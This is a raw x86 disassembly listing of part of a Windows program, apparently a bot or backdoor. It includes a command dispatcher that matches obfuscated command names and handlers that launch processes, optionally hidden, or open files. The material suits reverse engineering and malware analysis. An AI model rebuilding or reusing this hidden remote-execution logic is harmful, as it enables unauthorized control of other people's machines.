var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403CD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403CD0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D50 proc near ; CODE XREF: sub_401753j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403DC0 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403DC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40222A
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403DC0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403EA0 proc near ; CODE XREF: sub_40208Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403EA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AE6
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403EA0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403F80 proc near ; CODE XREF: sub_401D48j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403F80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017EE
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_403F80 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 1
call sub_4017EE
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+40h]
push 2
push ecx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 2
call sub_4017EE
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+44h]
push 2
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 3
call sub_4017EE
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 4
call sub_4017EE
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 16h
push 0Fh
push 0Dh
push 5
push 12h
push 4Fh
lea ecx, [esp+44h]
push 2
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 5
call sub_4017EE
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+4Ch]
push 2
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 6
call sub_4017EE
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 7
call sub_4017EE
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+3Ch]
push 2
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 8
call sub_4017EE
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+38h]
push 2
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 9
call sub_4017EE
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+38h]
push 2
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ah
call sub_4017EE
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Bh
call sub_4017EE
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+48h]
push 2
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ch
call sub_4017EE
push eax
lea ecx, [esi+0CB3h]
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Dh
call sub_4017EE
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
db 8Dh, 4Ch, 24h
dd 247C8924h, 0CE60E85Ch, 4E8DFFFFh, 0D420E809h, 4C8DFFFFh
dd 51500C24h, 0FFDC67E8h, 6A006AFFh, 6A1D6A25h, 24548D23h
dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD5CFE8h, 20C483FFh, 4C8DE88Bh
dd 44C60C24h, 0E80F5C24h, 0FFFFD3E6h, 0E8CD8B50h, 0FFFFD3DEh
dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFDA04h, 8D10C483h
dd 0C624244Ch, 0E5C2444h, 0FFCDF5E8h, 8D206AFFh, 6A402444h
dd 4C8D5000h, 6FE81824h, 8BFFFFCEh, 2444C6C8h, 9FE8105Ch
dd 50FFFFD3h, 4445F068h, 8E456800h, 0CEE8004Eh, 83FFFFCBh
dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCDB6h, 0C834E890h
dd 0C88B023Eh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
dd 247C8905h, 0CD94E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh
dd 0
; ---------------------------------------------------------------------------
add esp, 54h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 150h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404600 proc near ; CODE XREF: sub_401A41j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404600
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_401479
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_404642
push ebx
jmp short loc_404646
; ---------------------------------------------------------------------------
loc_404642: ; CODE XREF: sub_404600+3Dj
lea eax, [esi+15h]
push eax
loc_404646: ; CODE XREF: sub_404600+40j
mov ecx, edi
call sub_401FDC
mov al, [esi+94h]
test al, al
jz short loc_404662
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FDC
loc_404662: ; CODE XREF: sub_404600+55j
mov al, [esi+95h]
test al, al
jz short loc_4046DF
lea ecx, [esp+98h+var_6C]
call sub_40142E
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013ED
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FDC
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_4046DF: ; CODE XREF: sub_404600+6Aj
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E47
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_401479
push 0
mov ecx, esi
mov ebp, eax
call sub_401479
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_4049AA
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019C4
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_4047CF
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
test eax, eax
jz short loc_4047CF
mov bl, 1
jmp short loc_4047D1
; ---------------------------------------------------------------------------
loc_4047CF: ; CODE XREF: sub_404600+1A6j
; sub_404600+1C9j
xor bl, bl
loc_4047D1: ; CODE XREF: sub_404600+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_40498E
push offset asc_444600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_4049AA
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_4049AA
push 20h
mov ecx, esi
call sub_401D34
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E47
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D34
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40202C
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FDC
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016B8
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E47
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_404967
test ebp, ebp
jle short loc_404978
loc_404958: ; CODE XREF: sub_404600+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F87
dec ebp
jnz short loc_404958
jmp short loc_404978
; ---------------------------------------------------------------------------
loc_404967: ; CODE XREF: sub_404600+352j
test ebp, ebp
jle short loc_404978
loc_40496B: ; CODE XREF: sub_404600+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_40144C
dec ebp
jnz short loc_40496B
loc_404978: ; CODE XREF: sub_404600+356j
; sub_404600+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_4049AA
; ---------------------------------------------------------------------------
loc_40498E: ; CODE XREF: sub_404600+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_4049A5
call sub_401F87
jmp short loc_4049AA
; ---------------------------------------------------------------------------
loc_4049A5: ; CODE XREF: sub_404600+39Cj
call sub_40144C
loc_4049AA: ; CODE XREF: sub_404600+162j
; sub_404600+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404600 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404AD0 proc near ; CODE XREF: sub_401F87j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_44AC62
call sub_4014DD
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404B16
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
test eax, eax
jnz short loc_404B16
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B16: ; CODE XREF: sub_404AD0+1Dj
; sub_404AD0+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
test eax, eax
jnz short loc_404B56
mov al, [edi+469h]
test al, al
jz short loc_404B56
push 0
lea ecx, [esi+2Ah]
call sub_401479
cmp byte ptr [eax], 23h
jz short loc_404B56
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B56: ; CODE XREF: sub_404AD0+64j
; sub_404AD0+6Ej ...
push esi
mov ecx, edi
call sub_40144C
pop edi
pop esi
retn 4
sub_404AD0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404BA0 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, offset dword_449118
call sub_401B04
test eax, eax
jz short loc_404BCA
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404BCA: ; CODE XREF: sub_404BA0+1Cj
xor al, al
pop esi
retn 4
sub_404BA0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404BE0 proc near ; CODE XREF: sub_40186Bj
push esi
push edi
mov edi, dword_5118AC
mov esi, ecx
call edi
mov edx, dword_4D8099
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C0F
mov ecx, offset byte_4D8075
call sub_401D20
call edi
mov dword_4D8099, eax
loc_404C0F: ; CODE XREF: sub_404BE0+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404BE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C30 proc near ; CODE XREF: sub_4017D0j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404C30
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404CA4
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [edi+2E3h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_404CA4: ; CODE XREF: sub_404C30+40j
lea ecx, [edi+0D6Bh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404E35
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C71
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017EE
push eax
nop
call near ptr 2810000h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FDC
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014DD
push eax
push 0
call near ptr 2800473h
nop
test eax, eax
jnz short loc_404E09
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_405628
; ---------------------------------------------------------------------------
loc_404E09: ; CODE XREF: sub_404C30+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_404E35: ; CODE XREF: sub_404C30+89j
lea ecx, [edi+0B71h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404EE4
push 1
push offset asc_444600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E8E45
mov [esp+178h+var_4], 3
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404ED0
mov al, byte_449896
test al, al
jz short loc_404EA0
push offset dword_449834
mov ecx, offset dword_44AD70
call sub_401451
loc_404EA0: ; CODE XREF: sub_404C30+25Fj
mov al, byte_4498DF
test al, al
jz short loc_404EB8
push offset byte_44990F
mov ecx, offset dword_44AD70
call sub_401951
loc_404EB8: ; CODE XREF: sub_404C30+277j
mov ecx, offset dword_44AD70
call sub_401E79
mov byte_4D808C, 0
mov byte_4E8E44, 0
loc_404ED0: ; CODE XREF: sub_404C30+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_405628
; ---------------------------------------------------------------------------
loc_404EE4: ; CODE XREF: sub_404C30+21Aj
lea ecx, [edi+0C57h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404F2C
lea ecx, [esi+69h]
call sub_4014DD
push eax
mov ecx, offset word_4E8E5A
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_404F2C: ; CODE XREF: sub_404C30+2C9j
lea ecx, [edi+0DC7h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404FE6
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019C4
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1D4h+var_164]
push 9
push ecx
mov [esp+1DCh+var_4], 4
call sub_4019C4
add esp, 64h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_404FE6: ; CODE XREF: sub_404C30+311j
lea ecx, [edi+0D0Fh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405104
lea ecx, [esp+178h+var_14C]
call sub_40142E
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A9B
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017EE
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_402112
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40202C
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_405628
; ---------------------------------------------------------------------------
loc_405104: ; CODE XREF: sub_404C30+3CBj
lea ecx, [edi+0D99h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405127
mov byte_4D808C, al
mov al, 1
jmp loc_40562F
; ---------------------------------------------------------------------------
loc_405127: ; CODE XREF: sub_404C30+4E9j
lea ecx, [edi+0D3Dh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4053EE
lea ecx, [esp+178h+var_11C]
call sub_40142E
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
